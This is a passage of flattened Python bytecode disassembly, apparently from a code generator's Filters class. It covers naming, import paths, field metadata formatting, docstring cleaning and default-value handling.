module_case CALL_METHOD STORE_FAST name LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR MODULE CALL_METHOD RETURN_VALUE LOAD_DEREF self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR PACKAGE CALL_METHOD STORE_FAST name LOAD_FAST name POP_JUMP_IF_TRUE LOAD_FAST name RETURN_VALUE LOAD_GLOBAL str LOAD_GLOBAL str LOAD_CONST ('pck', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object process_sub_package at 0x7fab41c96ae0, file "f.py", line 344> LOAD_CONST 'Filters.package_name.<locals>.process_sub_package' MAKE_FUNCTION STORE_FAST process_sub_package LOAD_GLOBAL map LOAD_FAST process_sub_package LOAD_FAST name LOAD_METHOD split LOAD_CONST '.' CALL_METHOD CALL_FUNCTION STORE_FAST parts LOAD_CONST '.' LOAD_METHOD join LOAD_FAST parts CALL_METHOD STORE_FAST name LOAD_DEREF self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR PACKAGE CALL_METHOD RETURN_VALUE LOAD_DEREF self LOAD_METHOD safe_name LOAD_FAST pck LOAD_DEREF self LOAD_ATTR package_safe_prefix LOAD_DEREF self LOAD_ATTR package_case CALL_METHOD STORE_FAST pck LOAD_DEREF self LOAD_METHOD apply_substitutions LOAD_FAST pck LOAD_GLOBAL ObjectType LOAD_ATTR PACKAGE CALL_METHOD RETURN_VALUE LOAD_FAST attr_type LOAD_ATTR datatype STORE_FAST datatype LOAD_FAST datatype POP_JUMP_IF_FALSE LOAD_FAST datatype LOAD_ATTR type LOAD_ATTR __name__ RETURN_VALUE LOAD_FAST self LOAD_METHOD class_name LOAD_FAST attr_type LOAD_ATTR alias JUMP_IF_TRUE_OR_POP LOAD_FAST attr_type LOAD_ATTR name CALL_METHOD RETURN_VALUE LOAD_FAST name POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR safe_name LOAD_FAST prefix LOAD_FAST prefix LOAD_FAST name_case BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL re LOAD_METHOD match LOAD_CONST '^-\\d*\\.?\\d+$' LOAD_FAST name CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR safe_name LOAD_FAST prefix FORMAT_VALUE LOAD_CONST '_minus_' LOAD_FAST name FORMAT_VALUE BUILD_STRING LOAD_FAST prefix LOAD_FAST name_case BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL text LOAD_METHOD alnum LOAD_FAST name CALL_METHOD STORE_FAST slug LOAD_FAST slug POP_JUMP_IF_FALSE LOAD_FAST slug LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD isalpha CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR safe_name LOAD_FAST prefix FORMAT_VALUE LOAD_CONST '_' LOAD_FAST name FORMAT_VALUE BUILD_STRING LOAD_FAST prefix LOAD_FAST name_case BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION RETURN_VALUE LOAD_FAST name_case LOAD_FAST name BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST result LOAD_GLOBAL text LOAD_METHOD is_reserved LOAD_FAST result CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR safe_name LOAD_FAST name FORMAT_VALUE LOAD_CONST '_' LOAD_FAST prefix FORMAT_VALUE BUILD_STRING LOAD_FAST prefix LOAD_FAST name_case BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION RETURN_VALUE LOAD_FAST result RETURN_VALUE LOAD_FAST self LOAD_ATTR relative_imports POP_JUMP_IF_FALSE LOAD_FAST module LOAD_METHOD split LOAD_CONST '.' CALL_METHOD STORE_FAST mp LOAD_FAST from_module LOAD_METHOD split LOAD_CONST '.' CALL_METHOD STORE_FAST fp LOAD_CONST 0 STORE_FAST index SETUP_LOOP to 84 LOAD_GLOBAL len LOAD_FAST mp CALL_FUNCTION LOAD_FAST index COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST fp CALL_FUNCTION LOAD_FAST index COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST mp LOAD_FAST index BINARY_SUBSCR LOAD_FAST fp LOAD_FAST index BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST index LOAD_CONST 1 INPLACE_ADD STORE_FAST index JUMP_ABSOLUTE POP_BLOCK LOAD_FAST index LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST '.' LOAD_GLOBAL max LOAD_CONST 1 LOAD_GLOBAL len LOAD_FAST fp CALL_FUNCTION LOAD_FAST index BINARY_SUBTRACT CALL_FUNCTION BINARY_MULTIPLY FORMAT_VALUE LOAD_CONST '.' LOAD_METHOD join LOAD_FAST mp LOAD_FAST index LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_METHOD FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_FAST module RETURN_VALUE LOAD_FAST alias POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD class_name LOAD_FAST name CALL_METHOD FORMAT_VALUE LOAD_CONST ' as ' LOAD_FAST self LOAD_METHOD class_name LOAD_FAST alias CALL_METHOD FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_FAST self LOAD_METHOD class_name LOAD_FAST name CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST attr LOAD_ATTR is_prohibited POP_JUMP_IF_FALSE LOAD_CONST 'type' LOAD_GLOBAL XmlType LOAD_ATTR IGNORE BUILD_MAP RETURN_VALUE LOAD_CONST None DUP_TOP STORE_FAST name STORE_FAST namespace LOAD_FAST attr LOAD_ATTR is_nameless POP_JUMP_IF_TRUE LOAD_FAST attr LOAD_ATTR local_name LOAD_FAST self LOAD_METHOD field_name LOAD_FAST attr LOAD_ATTR name LOAD_FAST parents LOAD_CONST -1 BINARY_SUBSCR CALL_METHOD COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST attr LOAD_ATTR local_name STORE_FAST name LOAD_FAST parent_namespace LOAD_FAST attr LOAD_ATTR namespace COMPARE_OP != POP_JUMP_IF_TRUE LOAD_FAST attr LOAD_ATTR is_attribute POP_JUMP_IF_FALSE LOAD_FAST attr LOAD_ATTR namespace STORE_FAST namespace LOAD_FAST attr LOAD_ATTR restrictions LOAD_METHOD asdict LOAD_FAST attr LOAD_ATTR native_types CALL_METHOD STORE_FAST restrictions LOAD_FAST name LOAD_FAST attr LOAD_ATTR xml_type LOAD_FAST namespace LOAD_FAST attr LOAD_ATTR mixed LOAD_FAST self LOAD_METHOD field_choices LOAD_FAST attr LOAD_FAST parent_namespace LOAD_FAST parents CALL_METHOD LOAD_CONST ('name', 'type', 'namespace', 'mixed', 'choices') BUILD_CONST_KEY_MAP LOAD_FAST restrictions BUILD_MAP STORE_FAST metadata LOAD_FAST self LOAD_ATTR docstring_style LOAD_GLOBAL DocstringStyle LOAD_ATTR ACCESSIBLE COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST attr LOAD_ATTR help POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD clean_docstring LOAD_FAST attr LOAD_ATTR help LOAD_CONST False CALL_METHOD LOAD_FAST metadata LOAD_CONST 'doc' STORE_SUBSCR LOAD_FAST self LOAD_METHOD filter_metadata LOAD_FAST metadata CALL_METHOD RETURN_VALUE LOAD_FAST attr LOAD_ATTR choices POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST result SETUP_LOOP to 200 LOAD_FAST attr LOAD_ATTR choices GET_ITER FOR_ITER to 198 STORE_FAST choice LOAD_FAST choice LOAD_ATTR native_types STORE_FAST types LOAD_FAST choice LOAD_ATTR restrictions LOAD_METHOD asdict LOAD_FAST types CALL_METHOD STORE_FAST restrictions LOAD_FAST parent_namespace LOAD_FAST choice LOAD_ATTR namespace COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST choice LOAD_ATTR namespace JUMP_FORWARD to 62 LOAD_CONST None STORE_FAST namespace LOAD_FAST choice LOAD_ATTR name LOAD_FAST choice LOAD_ATTR is_wildcard LOAD_FAST self LOAD_METHOD choice_type LOAD_FAST choice LOAD_FAST parents CALL_METHOD LOAD_FAST namespace LOAD_CONST ('name', 'wildcard', 'type', 'namespace') BUILD_CONST_KEY_MAP STORE_FAST metadata LOAD_FAST choice LOAD_ATTR is_nameless POP_JUMP_IF_FALSE LOAD_FAST metadata LOAD_CONST 'name' DELETE_SUBSCR LOAD_FAST choice LOAD_ATTR is_factory POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR FACTORY_KEY JUMP_FORWARD to 118 LOAD_FAST self LOAD_ATTR DEFAULT_KEY STORE_FAST default_key LOAD_FAST self LOAD_METHOD field_default_value LOAD_FAST choice CALL_METHOD LOAD_FAST metadata LOAD_FAST default_key STORE_SUBSCR LOAD_FAST metadata LOAD_METHOD update LOAD_FAST restrictions CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR docstring_style LOAD_GLOBAL DocstringStyle LOAD_ATTR ACCESSIBLE COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST choice LOAD_ATTR help POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD clean_docstring LOAD_FAST choice LOAD_ATTR help LOAD_CONST False CALL_METHOD LOAD_FAST metadata LOAD_CONST 'doc' STORE_SUBSCR LOAD_FAST result LOAD_METHOD append LOAD_FAST self LOAD_METHOD filter_metadata LOAD_FAST metadata CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL tuple LOAD_FAST result CALL_FUNCTION RETURN_VALUE LOAD_CONST <code object <dictcomp> at 0x7fab41c960c0, file "f.py", line 493> LOAD_CONST 'Filters.filter_metadata.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 36 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_FAST value LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST value LOAD_CONST False COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST value LOAD_FAST key MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST ' ' LOAD_DEREF indent BINARY_MULTIPLY STORE_DEREF ind LOAD_CONST ' {}{}={}' STORE_DEREF fmt LOAD_CLOSURE fmt LOAD_CLOSURE ind LOAD_CLOSURE indent LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab82360930, file "f.py", line 504> LOAD_CONST 'Filters.format_arguments.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST lines LOAD_FAST lines POP_JUMP_IF_FALSE LOAD_CONST '\n{}\n{}' LOAD_METHOD format LOAD_CONST ',\n' LOAD_METHOD join LOAD_FAST lines CALL_METHOD LOAD_DEREF ind CALL_METHOD RETURN_VALUE LOAD_CONST '' RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 42 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_DEREF fmt LOAD_METHOD format LOAD_DEREF ind LOAD_FAST key LOAD_DEREF self LOAD_METHOD format_metadata LOAD_FAST value LOAD_DEREF indent LOAD_CONST 4 BINARY_ADD LOAD_FAST key CALL_METHOD CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD format_dict LOAD_FAST data LOAD_FAST indent CALL_METHOD RETURN_VALUE LOAD_GLOBAL collections LOAD_METHOD is_array LOAD_FAST data CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD format_iterable LOAD_FAST data LOAD_FAST indent CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD format_string LOAD_FAST data LOAD_FAST indent LOAD_FAST key LOAD_CONST 4 CALL_METHOD RETURN_VALUE LOAD_GLOBAL literal_value LOAD_FAST data CALL_FUNCTION RETURN_VALUE LOAD_CONST ' ' LOAD_DEREF indent BINARY_MULTIPLY STORE_DEREF ind LOAD_CONST ' {}"{}": {},' STORE_DEREF fmt LOAD_CLOSURE fmt LOAD_CLOSURE ind LOAD_CLOSURE indent LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab823600c0, file "f.py", line 528> LOAD_CONST 'Filters.format_dict.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST lines LOAD_CONST '{{\n{}\n{}}}' LOAD_METHOD format LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST lines CALL_METHOD LOAD_DEREF ind CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 42 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_DEREF fmt LOAD_METHOD format LOAD_DEREF ind LOAD_FAST key LOAD_DEREF self LOAD_METHOD format_metadata LOAD_FAST value LOAD_DEREF indent LOAD_CONST 4 BINARY_ADD LOAD_FAST key CALL_METHOD CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST ' ' LOAD_DEREF indent BINARY_MULTIPLY STORE_DEREF ind LOAD_CONST ' {}{},' STORE_DEREF fmt LOAD_CLOSURE fmt LOAD_CLOSURE ind LOAD_CLOSURE indent LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa7c0095d0, file "f.py", line 539> LOAD_CONST 'Filters.format_iterable.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data GET_ITER CALL_FUNCTION STORE_FAST lines LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST '(\n{}\n{})' JUMP_FORWARD to 52 LOAD_CONST '[\n{}\n{}]' STORE_FAST wrap LOAD_FAST wrap LOAD_METHOD format LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST lines CALL_METHOD LOAD_DEREF ind CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 34 STORE_FAST value LOAD_DEREF fmt LOAD_METHOD format LOAD_DEREF ind LOAD_DEREF self LOAD_METHOD format_metadata LOAD_FAST value LOAD_DEREF indent LOAD_CONST 4 BINARY_ADD CALL_METHOD CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST data LOAD_METHOD startswith LOAD_CONST 'Type[' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST data LOAD_METHOD startswith LOAD_CONST 'type[' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST data LOAD_METHOD endswith LOAD_CONST ']' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST data LOAD_CONST 5 BINARY_SUBSCR LOAD_CONST '"' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST data RETURN_VALUE LOAD_FAST data LOAD_CONST 5 LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST data LOAD_METHOD startswith LOAD_CONST 'Literal[' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST data LOAD_METHOD endswith LOAD_CONST ']' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST data LOAD_CONST 8 LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST key LOAD_FAST self LOAD_ATTR FACTORY_KEY LOAD_FAST self LOAD_ATTR DEFAULT_KEY BUILD_TUPLE COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST data RETURN_VALUE LOAD_FAST key LOAD_CONST 'pattern' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL re LOAD_METHOD sub LOAD_FAST self LOAD_ATTR UNESCAPED_DBL_QUOTE_REGEX LOAD_CONST '\\1\\\\"' LOAD_FAST data CALL_METHOD STORE_FAST value LOAD_CONST 'r"' LOAD_FAST value FORMAT_VALUE LOAD_CONST '"' BUILD_STRING RETURN_VALUE LOAD_FAST data LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST '""' RETURN_VALUE LOAD_FAST indent LOAD_CONST 2 BINARY_ADD STORE_FAST start LOAD_FAST start LOAD_FAST key POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST key CALL_FUNCTION LOAD_FAST pad BINARY_ADD JUMP_FORWARD to 186 LOAD_CONST 0 INPLACE_ADD STORE_FAST start LOAD_GLOBAL text LOAD_METHOD escape_string LOAD_FAST data CALL_METHOD STORE_FAST value LOAD_GLOBAL len LOAD_FAST value CALL_FUNCTION LOAD_FAST start BINARY_ADD STORE_FAST length LOAD_FAST length LOAD_FAST self LOAD_ATTR max_line_length COMPARE_OP < POP_JUMP_IF_TRUE LOAD_CONST ' ' LOAD_FAST value COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_CONST '"' LOAD_FAST value FORMAT_VALUE LOAD_CONST '"' BUILD_STRING RETURN_VALUE LOAD_FAST indent LOAD_CONST 4 BINARY_ADD STORE_DEREF next_indent LOAD_CONST '\n' LOAD_METHOD join LOAD_CLOSURE next_indent BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7c0099c0, file "f.py", line 579> LOAD_CONST 'Filters.format_string.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL textwrap LOAD_ATTR wrap LOAD_FAST value LOAD_FAST self LOAD_ATTR max_line_length LOAD_DEREF next_indent BINARY_SUBTRACT LOAD_CONST 2 BINARY_SUBTRACT LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('width', 'drop_whitespace', 'replace_whitespace', 'break_long_words') CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD STORE_FAST value LOAD_CONST '(\n' LOAD_FAST value FORMAT_VALUE LOAD_CONST '\n' LOAD_CONST ' ' LOAD_FAST indent BINARY_MULTIPLY FORMAT_VALUE LOAD_CONST ')' BUILD_STRING RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST line LOAD_CONST ' ' LOAD_DEREF next_indent BINARY_MULTIPLY FORMAT_VALUE LOAD_CONST '"' LOAD_FAST line FORMAT_VALUE LOAD_CONST '"' BUILD_STRING YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '\n' LOAD_METHOD join LOAD_GLOBAL textwrap LOAD_ATTR wrap LOAD_FAST string LOAD_FAST self LOAD_ATTR max_line_length LOAD_FAST offset BINARY_SUBTRACT LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_FAST subsequent_indent LOAD_CONST ('width', 'drop_whitespace', 'replace_whitespace', 'break_long_words', 'subsequent_indent') CALL_FUNCTION CALL_METHOD RETURN_VALUE LOAD_FAST string POP_JUMP_IF_TRUE LOAD_CONST '' RETURN_VALUE LOAD_GLOBAL str LOAD_GLOBAL str LOAD_CONST ('txt', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE escape BUILD_TUPLE LOAD_CONST <code object _clean at 0x7faa7c0091e0, file "f.py", line 624> LOAD_CONST 'Filters.clean_docstring.<locals>._clean' MAKE_FUNCTION STORE_DEREF _clean LOAD_CONST '\n' LOAD_METHOD join LOAD_CLOSURE _clean BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7c0096f0, file "f.py", line 630> LOAD_CONST 'Filters.clean_docstring.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST string LOAD_METHOD splitlines CALL_METHOD GET_ITER CALL_FUNCTION CALL_METHOD RETURN_VALUE LOAD_DEREF escape POP_JUMP_IF_FALSE LOAD_FAST txt LOAD_METHOD replace LOAD_CONST '\\' LOAD_CONST '\\\\' CALL_METHOD STORE_FAST txt LOAD_FAST txt LOAD_METHOD replace LOAD_CONST '"""' LOAD_CONST "'''" CALL_METHOD LOAD_METHOD strip CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 STORE_FAST line LOAD_FAST line LOAD_METHOD strip CALL_METHOD POP_JUMP_IF_FALSE LOAD_DEREF _clean LOAD_FAST line CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST doc_string LOAD_METHOD rfind LOAD_CONST '"""' CALL_METHOD STORE_FAST sep_pos LOAD_FAST sep_pos LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST '' RETURN_VALUE LOAD_FAST doc_string LOAD_CONST None LOAD_FAST sep_pos BUILD_SLICE BINARY_SUBSCR STORE_FAST content LOAD_FAST doc_string LOAD_FAST sep_pos LOAD_CONST 3 BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_METHOD strip CALL_METHOD STORE_FAST params LOAD_FAST content LOAD_METHOD strip CALL_METHOD LOAD_CONST '"""' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST params POP_JUMP_IF_TRUE LOAD_CONST '' RETURN_VALUE LOAD_FAST content LOAD_FAST content LOAD_METHOD endswith LOAD_CONST '"' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST ' """' JUMP_FORWARD to 92 LOAD_CONST '"""' INPLACE_ADD STORE_FAST content LOAD_FAST self LOAD_ATTR max_line_length LOAD_FAST level LOAD_CONST 4 BINARY_MULTIPLY BINARY_SUBTRACT STORE_FAST max_length LOAD_GLOBAL configuration LOAD_METHOD Configurater LOAD_CONST '--wrap-summaries' LOAD_GLOBAL str LOAD_FAST max_length LOAD_CONST 3 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST '--wrap-descriptions' LOAD_GLOBAL str LOAD_FAST max_length LOAD_CONST 7 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST '--make-summary-multi-line' BUILD_LIST CALL_METHOD STORE_FAST configurator LOAD_FAST configurator LOAD_METHOD do_parse_arguments CALL_METHOD POP_TOP LOAD_GLOBAL format LOAD_METHOD Formatter LOAD_FAST configurator LOAD_ATTR args LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_GLOBAL sys LOAD_ATTR stdin LOAD_GLOBAL sys LOAD_ATTR stdout CALL_METHOD STORE_FAST formatter LOAD_FAST formatter LOAD_METHOD _do_format_code LOAD_FAST content CALL_METHOD STORE_FAST content LOAD_FAST params POP_JUMP_IF_FALSE LOAD_FAST content LOAD_CONST None LOAD_CONST -3 BUILD_SLICE BINARY_SUBSCR LOAD_METHOD strip CALL_METHOD STORE_FAST content LOAD_FAST content LOAD_METHOD endswith LOAD_CONST '"""' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST '\n' JUMP_FORWARD to 224 LOAD_CONST '\n\n' STORE_FAST new_lines LOAD_FAST content LOAD_FAST new_lines FORMAT_VALUE LOAD_FAST params FORMAT_VALUE LOAD_CONST '\n"""' BUILD_STRING INPLACE_ADD STORE_FAST content LOAD_FAST content RETURN_VALUE LOAD_FAST attr LOAD_ATTR is_list POP_JUMP_IF_TRUE LOAD_FAST attr LOAD_ATTR is_tokens POP_JUMP_IF_FALSE LOAD_FAST attr LOAD_ATTR default POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR format LOAD_ATTR frozen POP_JUMP_IF_FALSE LOAD_CONST 'tuple' RETURN_VALUE LOAD_CONST 'list' RETURN_VALUE LOAD_FAST attr LOAD_ATTR is_dict POP_JUMP_IF_FALSE LOAD_CONST 'dict' RETURN_VALUE LOAD_FAST attr LOAD_ATTR default LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR format LOAD_ATTR kw_only POP_JUMP_IF_FALSE LOAD_FAST attr LOAD_ATTR is_optional POP_JUMP_IF_TRUE LOAD_CONST False RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST attr LOAD_ATTR default LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL literal_value LOAD_FAST attr LOAD_ATTR default CALL_FUNCTION RETURN_VALUE LOAD_FAST attr LOAD_ATTR default LOAD_METHOD startswith LOAD_CONST '@enum@' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD field_default_enum LOAD_FAST attr CALL_METHOD RETURN_VALUE LOAD_GLOBAL converter LOAD_METHOD sort_types LOAD_FAST attr LOAD_ATTR native_types CALL_METHOD STORE_FAST types LOAD_FAST attr LOAD_ATTR is_tokens POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD field_default_tokens LOAD_FAST attr LOAD_FAST types LOAD_FAST ns_map CALL_METHOD RETURN_VALUE LOAD_GLOBAL literal_value LOAD_GLOBAL converter LOAD_ATTR deserialize LOAD_FAST attr LOAD_ATTR default LOAD_FAST types LOAD_FAST ns_map LOAD_FAST attr LOAD_ATTR restrictions LOAD_ATTR format LOAD_CONST ('ns_map', 'format') CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST attr LOAD_ATTR default LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST attr LOAD_ATTR default LOAD_CONST 6 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_METHOD split LOAD_CONST '::' LOAD_CONST 1 CALL_METHOD UNPACK_SEQUENCE STORE_DEREF qname STORE_FAST reference LOAD_GLOBAL next LOAD_CLOSURE qname BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7c009270, file "f.py", line 701> LOAD_CONST 'Filters.field_default_enum.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST attr LOAD_ATTR types GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_DEREF qname LOAD_GLOBAL namespaces LOAD_METHOD local_name LOAD_DEREF qname CALL_METHOD STORE_DEREF name LOAD_DEREF self LOAD_METHOD class_name LOAD_DEREF name CALL_METHOD STORE_DEREF class_name LOAD_FAST attr LOAD_ATTR is_tokens POP_JUMP_IF_FALSE LOAD_CLOSURE class_name LOAD_CLOSURE name LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa7c009660, file "f.py", line 707> LOAD_CONST 'Filters.field_default_enum.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST reference LOAD_METHOD split LOAD_CONST '@' CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST members LOAD_CONST 'lambda: ' LOAD_DEREF self LOAD_ATTR format_metadata LOAD_FAST members LOAD_CONST 8 LOAD_CONST ('indent',) CALL_FUNCTION FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_DEREF class_name FORMAT_VALUE LOAD_CONST '.' LOAD_DEREF self LOAD_METHOD constant_name LOAD_FAST reference LOAD_DEREF name CALL_METHOD FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST x LOAD_FAST x LOAD_ATTR qname LOAD_DEREF qname COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST x LOAD_ATTR alias JUMP_IF_TRUE_OR_POP LOAD_DEREF qname YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 36 STORE_FAST member LOAD_CONST 'Literal[' LOAD_DEREF class_name FORMAT_VALUE LOAD_CONST '.' LOAD_DEREF self LOAD_METHOD constant_name LOAD_FAST member LOAD_DEREF name CALL_METHOD FORMAT_VALUE LOAD_CONST ']' BUILD_STRING LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST attr LOAD_ATTR default LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST attr LOAD_ATTR restrictions LOAD_ATTR format STORE_DEREF fmt LOAD_FAST self LOAD_ATTR format LOAD_ATTR frozen POP_JUMP_IF_FALSE LOAD_GLOBAL tuple JUMP_FORWARD to 38 LOAD_GLOBAL list STORE_FAST factory LOAD_FAST factory LOAD_CLOSURE fmt LOAD_CLOSURE ns_map LOAD_CLOSURE types BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7c0090c0, file "f.py", line 723> LOAD_CONST 'Filters.field_default_tokens.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST attr LOAD_ATTR default LOAD_METHOD split CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST tokens LOAD_FAST attr LOAD_ATTR is_enumeration POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR format_metadata LOAD_GLOBAL tuple LOAD_FAST tokens CALL_FUNCTION LOAD_CONST 8 LOAD_CONST ('indent',) CALL_FUNCTION RETURN_VALUE LOAD_CONST 'lambda: ' LOAD_FAST self LOAD_ATTR format_metadata LOAD_FAST tokens LOAD_CONST 8 LOAD_CONST ('indent',) CALL_FUNCTION FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_FAST .0 FOR_ITER to 28 STORE_FAST val 